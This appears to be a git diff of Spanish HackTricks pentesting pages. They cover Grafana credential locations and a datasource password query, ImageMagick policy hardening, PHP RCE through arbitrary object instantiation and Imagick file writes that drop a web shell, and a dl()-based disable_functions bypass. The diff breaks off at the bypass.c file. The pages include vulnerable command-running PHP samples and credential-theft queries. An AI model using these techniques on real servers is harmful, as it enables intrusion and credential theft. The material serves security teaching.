* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details>
{% endhint %}

View file

@ -1,23 +1,41 @@
# Grafana
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red Team de AWS de HackTricks)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Cosas interesantes
* El archivo **`/etc/grafana/grafana.ini`** puede contener información sensible como **nombre de usuario** y **contraseña de administrador.**
* Dentro de la plataforma podrías **invitar personas** o **generar claves API** (podría ser necesario ser administrador)
* Puedes verificar qué plugins están instalados (o incluso instalar nuevos)
* Por defecto utiliza la base de datos **SQLite3** en **`/var/lib/grafana/grafana.db`**
* El archivo **`/etc/grafana/grafana.ini`** puede contener información sensible como **nombre de usuario** y **contraseña** de **admin**.
* Dentro de la plataforma podrías **invitar personas** o **generar claves API** (puede que necesites ser admin).
* Podrías verificar qué plugins están instalados (o incluso instalar nuevos).
* Por defecto utiliza la base de datos **SQLite3** en **`/var/lib/grafana/grafana.db`**.
* `select user,password,database from data_source;`
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,49 +1,67 @@
# Seguridad de ImageMagick
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details>
{% endhint %}
Consulta más detalles en [**https://blog.doyensec.com/2023/01/10/imagemagick-security-policy-evaluator.html**](https://blog.doyensec.com/2023/01/10/imagemagick-security-policy-evaluator.html)
ImageMagick, una versátil biblioteca de procesamiento de imágenes, presenta un desafío en la configuración de su política de seguridad debido a sus extensas opciones y la falta de documentación detallada en línea. Los usuarios a menudo crean políticas basadas en fuentes de internet fragmentadas, lo que puede llevar a posibles configuraciones incorrectas. La biblioteca admite una amplia gama de más de 100 formatos de imagen, lo que contribuye a su complejidad y perfil de vulnerabilidad, como lo demuestran incidentes de seguridad históricos.
ImageMagick, una versátil biblioteca de procesamiento de imágenes, presenta un desafío en la configuración de su política de seguridad debido a sus amplias opciones y la falta de documentación detallada en línea. Los usuarios a menudo crean políticas basadas en fuentes fragmentadas de internet, lo que lleva a posibles configuraciones incorrectas. La biblioteca admite una vasta gama de más de 100 formatos de imagen, cada uno contribuyendo a su complejidad y perfil de vulnerabilidad, como lo demuestran los incidentes de seguridad históricos.
## Hacia Políticas Más Seguras
Para abordar estos desafíos, se ha desarrollado una [herramienta](https://imagemagick-secevaluator.doyensec.com/) para ayudar en el diseño y auditoría de las políticas de seguridad de ImageMagick. Esta herramienta se basa en una investigación extensa y tiene como objetivo garantizar que las políticas no solo sean sólidas, sino también libres de lagunas que podrían ser explotadas.
Para abordar estos desafíos, se ha [desarrollado una herramienta](https://imagemagick-secevaluator.doyensec.com/) para ayudar en el diseño y auditoría de las políticas de seguridad de ImageMagick. Esta herramienta se basa en una extensa investigación y tiene como objetivo garantizar que las políticas no solo sean robustas, sino también libres de lagunas que puedan ser explotadas.
## Enfoque de Lista de Permitidos vs Lista de Denegados
Históricamente, las políticas de ImageMagick se basaban en un enfoque de lista de denegados, donde se denegaba el acceso a codificadores específicos. Sin embargo, los cambios en ImageMagick 6.9.7-7 cambiaron este paradigma, permitiendo un enfoque de lista de permitidos. Este enfoque primero niega el acceso a todos los codificadores y luego otorga selectivamente acceso a los confiables, mejorando la postura de seguridad.
## Enfoque de Lista Permitida vs Lista Denegada
Históricamente, las políticas de ImageMagick se basaban en un enfoque de lista denegada, donde se negaba el acceso a codificadores específicos. Sin embargo, los cambios en ImageMagick 6.9.7-7 cambiaron este paradigma, permitiendo un enfoque de lista permitida. Este enfoque primero niega el acceso a todos los codificadores y luego otorga acceso selectivamente a los de confianza, mejorando la postura de seguridad.
```xml
...
<policy domain="coder" rights="none" pattern="*" />
<policy domain="coder" rights="read | write" pattern="{GIF,JPEG,PNG,WEBP}" />
...
```
## Sensibilidad a mayúsculas en las políticas
Es crucial tener en cuenta que los patrones de políticas en ImageMagick distinguen entre mayúsculas y minúsculas. Por lo tanto, es vital asegurarse de que los codificadores y módulos estén correctamente en mayúsculas en las políticas para evitar permisos no deseados.
## Sensibilidad a Mayúsculas en Políticas
Es crucial notar que los patrones de políticas en ImageMagick son sensibles a mayúsculas. Como tal, asegurar que los codificadores y módulos estén correctamente en mayúsculas en las políticas es vital para prevenir permisos no intencionados.
## Límites de recursos
ImageMagick es propenso a ataques de denegación de servicio si no se configura correctamente. Establecer límites de recursos explícitos en la política es esencial para prevenir tales vulnerabilidades.
## Límites de Recursos
ImageMagick es propenso a ataques de denegación de servicio si no está configurado correctamente. Establecer límites de recursos explícitos en la política es esencial para prevenir tales vulnerabilidades.
## Fragmentación de políticas
Las políticas pueden estar fragmentadas en diferentes instalaciones de ImageMagick, lo que puede provocar conflictos o anulaciones potenciales. Se recomienda localizar y verificar los archivos de políticas activos utilizando comandos como:
## Fragmentación de Políticas
Las políticas pueden estar fragmentadas a través de diferentes instalaciones de ImageMagick, lo que lleva a posibles conflictos o sobrescrituras. Se recomienda localizar y verificar los archivos de políticas activos utilizando comandos como:
```shell
$ find / -iname policy.xml
```
## Una política inicial restrictiva
Se ha propuesto una plantilla de política restrictiva, centrándose en limitaciones estrictas de recursos y controles de acceso. Esta plantilla sirve como base para desarrollar políticas personalizadas que se alineen con los requisitos específicos de la aplicación.
## Una Política Inicial, Restrictiva
Se ha propuesto una plantilla de política restrictiva, centrada en limitaciones de recursos estrictas y controles de acceso. Esta plantilla sirve como base para desarrollar políticas personalizadas que se alineen con los requisitos específicos de la aplicación.
La efectividad de una política de seguridad se puede confirmar utilizando el comando `identify -list policy` en ImageMagick. Además, la [herramienta de evaluación](https://imagemagick-secevaluator.doyensec.com/) mencionada anteriormente se puede utilizar para refinar la política según las necesidades individuales.
La efectividad de una política de seguridad se puede confirmar utilizando el comando `identify -list policy` en ImageMagick. Además, la [herramienta evaluadora](https://imagemagick-secevaluator.doyensec.com/) mencionada anteriormente se puede utilizar para refinar la política según las necesidades individuales.
## Referencias
* [https://blog.doyensec.com/2023/01/10/imagemagick-security-policy-evaluator.html**](https://blog.doyensec.com/2023/01/10/imagemagick-security-policy-evaluator.html)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,30 +1,31 @@
# PHP - RCE abusando de la creación de objetos: new $\_GET\["a"]\($\_GET\["b"])
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details>
{% endhint %}
Este es básicamente un resumen de [https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/)
## Introducción
La creación de nuevos objetos arbitrarios, como `new $_GET["a"]($_GET["a"])`, puede llevar a la Ejecución Remota de Código (RCE), como se detalla en un [**writeup**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/). Este documento destaca varias estrategias para lograr RCE.
La creación de nuevos objetos arbitrarios, como `new $_GET["a"]($_GET["a"])`, puede llevar a la Ejecución Remota de Código (RCE), como se detalla en un [**escrito**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/). Este documento destaca varias estrategias para lograr RCE.
## RCE a través de Clases Personalizadas o Carga Automática
## RCE a través de Clases Personalizadas o Autocarga
La sintaxis `new $a($b)` se utiliza para instanciar un objeto donde **`$a`** representa el nombre de la clase y **`$b`** es el primer argumento pasado al constructor. Estas variables pueden provenir de entradas de usuario como GET/POST, donde pueden ser cadenas o arreglos, o de JSON, donde podrían presentarse como otros tipos.
La sintaxis `new $a($b)` se utiliza para instanciar un objeto donde **`$a`** representa el nombre de la clase y **`$b`** es el primer argumento pasado al constructor. Estas variables pueden provenir de entradas de usuario como GET/POST, donde pueden ser cadenas o arreglos, o de JSON, donde pueden presentarse como otros tipos.
Considera el fragmento de código a continuación:
Considera el siguiente fragmento de código:
```php
class App {
function __construct ($cmd) {
@ -43,9 +44,9 @@ $b = $_GET['b'];
new $a($b);
```
En este caso, establecer `$a` como `App` o `App2` y `$b` como un comando del sistema (por ejemplo, `uname -a`) resulta en la ejecución de ese comando.
En este caso, establecer `$a` en `App` o `App2` y `$b` en un comando del sistema (por ejemplo, `uname -a`) resulta en la ejecución de ese comando.
Las **funciones de carga automática** pueden ser explotadas si no hay clases directamente accesibles. Estas funciones cargan automáticamente clases desde archivos cuando son necesarias y se definen usando `spl_autoload_register` o `__autoload`:
**Las funciones de autoloading** pueden ser explotadas si no hay tales clases accesibles directamente. Estas funciones cargan automáticamente clases desde archivos cuando se necesitan y se definen utilizando `spl_autoload_register` o `__autoload`:
```php
spl_autoload_register(function ($class_name) {
include './../classes/' . $class_name . '.php';
@ -57,13 +58,13 @@ include $class_name . '.php';
spl_autoload_register();
```
El comportamiento del auto-cargado varía con las versiones de PHP, ofreciendo diferentes posibilidades de RCE.
El comportamiento de la carga automática varía con las versiones de PHP, ofreciendo diferentes posibilidades de RCE.
## RCE a través de Clases Integradas
## RCE a través de Clases Incorporadas
La falta de clases personalizadas o auto-cargadores puede ser suficiente para RCE utilizando **clases integradas de PHP**. El número de estas clases varía entre 100 y 200, según la versión de PHP y las extensiones. Se pueden listar utilizando `get_declared_classes()`.
Al carecer de clases personalizadas o cargadores automáticos, **las clases incorporadas de PHP** pueden ser suficientes para RCE. El número de estas clases varía entre 100 y 200, según la versión de PHP y las extensiones. Se pueden listar utilizando `get_declared_classes()`.
Los constructores de interés pueden ser identificados a través de la API de reflexión, como se muestra en el siguiente ejemplo y en el enlace [https://3v4l.org/2JEGF](https://3v4l.org/2JEGF).
Los constructores de interés se pueden identificar a través de la API de reflexión, como se muestra en el siguiente ejemplo y el enlace [https://3v4l.org/2JEGF](https://3v4l.org/2JEGF).
**RCE a través de métodos específicos incluye:**
@ -77,44 +78,45 @@ SSRF puede llevar a ataques de deserialización en versiones de PHP anteriores a
### **Explotando PDOs**
El constructor de la clase PDO permite conexiones a bases de datos a través de cadenas DSN, lo que potencialmente permite la creación de archivos u otras interacciones:
El constructor de la clase PDO permite conexiones a bases de datos a través de cadenas DSN, lo que potencialmente habilita la creación de archivos u otras interacciones:
```php
new PDO("sqlite:/tmp/test.txt")
```
### **SoapClient/SimpleXMLElement XXE**
Las versiones de PHP hasta la 5.3.22 y 5.4.12 eran susceptibles a ataques XXE a través de los constructores `SoapClient` y `SimpleXMLElement`, dependiendo de la versión de libxml2.
Las versiones de PHP hasta 5.3.22 y 5.4.12 eran susceptibles a ataques XXE a través de los constructores `SoapClient` y `SimpleXMLElement`, dependiendo de la versión de libxml2.
## RCE a través de la Extensión Imagick
## RCE a través de la extensión Imagick
En el análisis de las **dependencias de un proyecto**, se descubrió que **Imagick** podría ser aprovechado para la **ejecución de comandos** mediante la creación de nuevos objetos. Esto presenta una oportunidad para explotar vulnerabilidades.
En el análisis de las **dependencias del proyecto**, se descubrió que **Imagick** podría ser aprovechado para **ejecución de comandos** al instanciar nuevos objetos. Esto presenta una oportunidad para explotar vulnerabilidades.
### Analizador VID
Se identificó la capacidad del analizador VID para escribir contenido en cualquier ruta especificada en el sistema de archivos. Esto podría llevar a la colocación de una shell de PHP en un directorio accesible a través de la web, logrando la Ejecución de Código Remoto (RCE).
Se identificó la capacidad del analizador VID de escribir contenido en cualquier ruta especificada en el sistema de archivos. Esto podría llevar a la colocación de un shell PHP en un directorio accesible por la web, logrando Ejecución Remota de Código (RCE).
#### Analizador VID + Carga de Archivos
Se observa que PHP almacena temporalmente los archivos cargados en `/tmp/phpXXXXXX`. El analizador VID en Imagick, utilizando el protocolo **msl**, puede manejar comodines en las rutas de archivos, facilitando la transferencia del archivo temporal a una ubicación elegida. Este método ofrece un enfoque adicional para lograr la escritura de archivos arbitrarios dentro del sistema de archivos.
Se observa que PHP almacena temporalmente los archivos subidos en `/tmp/phpXXXXXX`. El analizador VID en Imagick, utilizando el protocolo **msl**, puede manejar comodines en las rutas de archivos, facilitando la transferencia del archivo temporal a una ubicación elegida. Este método ofrece un enfoque adicional para lograr escritura arbitraria de archivos dentro del sistema de archivos.
### PHP Crash + Fuerza Bruta
### Caída de PHP + Fuerza Bruta
Un método descrito en el [**informe original**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) implica cargar archivos que provoquen un fallo del servidor antes de su eliminación. Al hacer fuerza bruta en el nombre del archivo temporal, es posible que Imagick ejecute código PHP arbitrario. Sin embargo, esta técnica se encontró efectiva solo en una versión desactualizada de ImageMagick.
Un método descrito en el [**escrito original**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) implica subir archivos que provocan una caída del servidor antes de su eliminación. Al forzar el nombre del archivo temporal, se vuelve posible que Imagick ejecute código PHP arbitrario. Sin embargo, se encontró que esta técnica solo era efectiva en una versión desactualizada de ImageMagick.
## Referencias
* [https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,51 +1,52 @@
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
**Nota importante:**
![imagen](https://user-images.githubusercontent.com/84577967/174675487-a4c4ca06-194f-4725-85af-231a2f35d56c.png)
![image](https://user-images.githubusercontent.com/84577967/174675487-a4c4ca06-194f-4725-85af-231a2f35d56c.png)
**`dl`** es una función de PHP que se puede utilizar para cargar extensiones de PHP. Si la función no está deshabilitada, se podría abusar de ella para **burlar `disable_functions` y ejecutar comandos arbitrarios**.\
**`dl`** es una función de PHP que se puede usar para cargar extensiones de PHP. Si la función no está deshabilitada, podría ser abusada para **eludir `disable_functions` y ejecutar comandos arbitrarios**.\
Sin embargo, tiene algunas limitaciones estrictas:
* La función `dl` debe estar **presente** en el **entorno** y **no deshabilitada**
* La extensión de PHP **debe compilarse con la misma versión principal** (versión de API de PHP) que está utilizando el servidor (puedes ver esta información en la salida de phpinfo)
* La extensión de PHP **debe estar compilada con la misma versión principal** (versión de API de PHP) que está utilizando el servidor (puedes ver esta información en la salida de phpinfo)
* La extensión de PHP debe estar **ubicada en el directorio** que está **definido** por la directiva **`extension_dir`** (puedes verlo en la salida de phpinfo). Es muy improbable que un atacante que intente abusar del servidor tenga acceso de escritura sobre este directorio, por lo que este requisito probablemente te impedirá abusar de esta técnica).
**Si cumples con estos requisitos, continúa leyendo la publicación** [**https://antichat.com/threads/70763/**](https://antichat.com/threads/70763/) **para aprender cómo burlar `disable_functions`**. Aquí tienes un resumen:
**Si cumples con estos requisitos, continúa leyendo la publicación** [**https://antichat.com/threads/70763/**](https://antichat.com/threads/70763/) **para aprender cómo eludir disable\_functions**. Aquí hay un resumen:
La [función dl](http://www.php.net/manual/en/function.dl.php) se utiliza para cargar extensiones de PHP dinámicamente durante la ejecución del script. Las extensiones de PHP, generalmente escritas en C/C++, mejoran la funcionalidad de PHP. El atacante, al darse cuenta de que la función `dl` no está deshabilitada, decide crear una extensión de PHP personalizada para ejecutar comandos del sistema.
La [función dl](http://www.php.net/manual/en/function.dl.php) se utiliza para cargar extensiones de PHP dinámicamente durante la ejecución del script. Las extensiones de PHP, típicamente escritas en C/C++, mejoran la funcionalidad de PHP. El atacante, al notar que la función `dl` no está deshabilitada, decide crear una extensión de PHP personalizada para ejecutar comandos del sistema.
### Pasos realizados por el atacante:
### Pasos Tomados por el Atacante:
1. **Identificación de la versión de PHP:**
- El atacante determina la versión de PHP utilizando un script (`<?php echo 'La versión de PHP es '.PHP_VERSION; ?>`).
1. **Identificación de la Versión de PHP:**
- El atacante determina la versión de PHP usando un script (`<?php echo 'PHP Version is '.PHP_VERSION; ?>`).
2. **Adquisición de la fuente de PHP:**
- Descarga la fuente de PHP desde el sitio web oficial de [PHP](http://www.php.net/downloads.php) o el [archivo](http://museum.php.net) si la versión es antigua.
2. **Adquisición del Código Fuente de PHP:**
- Descarga el código fuente de PHP desde el [sitio web oficial de PHP](http://www.php.net/downloads.php) o el [archivo](http://museum.php.net) si la versión es más antigua.
3. **Configuración local de PHP:**
3. **Configuración Local de PHP:**
- Extrae e instala la versión específica de PHP en su sistema.
4. **Creación de la extensión:**
- Estudia [la creación de extensiones de PHP](http://www.php.net/manual/en/zend.creating.php) e inspecciona el código fuente de PHP.
- Se centra en duplicar la funcionalidad de la [función exec](http://www.php.net/manual/en/function.exec.php) ubicada en `ext/standard/exec.c`.
4. **Creación de la Extensión:**
- Estudia [cómo crear extensiones de PHP](http://www.php.net/manual/en/zend.creating.php) e inspecciona el código fuente de PHP.
- Se enfoca en duplicar la funcionalidad de la [función exec](http://www.php.net/manual/en/function.exec.php) ubicada en `ext/standard/exec.c`.
### Notas para compilar la extensión personalizada:
### Notas para Compilar la Extensión Personalizada:
1. **ZEND_MODULE_API_NO:**
- El `ZEND_MODULE_API_NO` en `bypass.c` debe coincidir con la compilación actual de la Extensión Zend, que se puede obtener con:
- El `ZEND_MODULE_API_NO` en `bypass.c` debe coincidir con la versión de construcción de la extensión Zend actual, recuperable con:
```bash
php -i | grep "Zend Extension Build" |awk -F"API4" '{print $2}' | awk -F"," '{print $1}'
```
@ -53,54 +54,55 @@ php -i | grep "Zend Extension Build" |awk -F"API4" '{print $2}' | awk -F"," '{pr
2. **Modificación de PHP_FUNCTION:**
- Para versiones recientes de PHP (5, 7, 8), `PHP_FUNCTION(bypass_exec)` puede necesitar ajustes. El fragmento de código proporcionado detalla esta modificación.
### Archivos de la extensión personalizada:
### Archivos de la Extensión Personalizada:
- **bypass.c**:
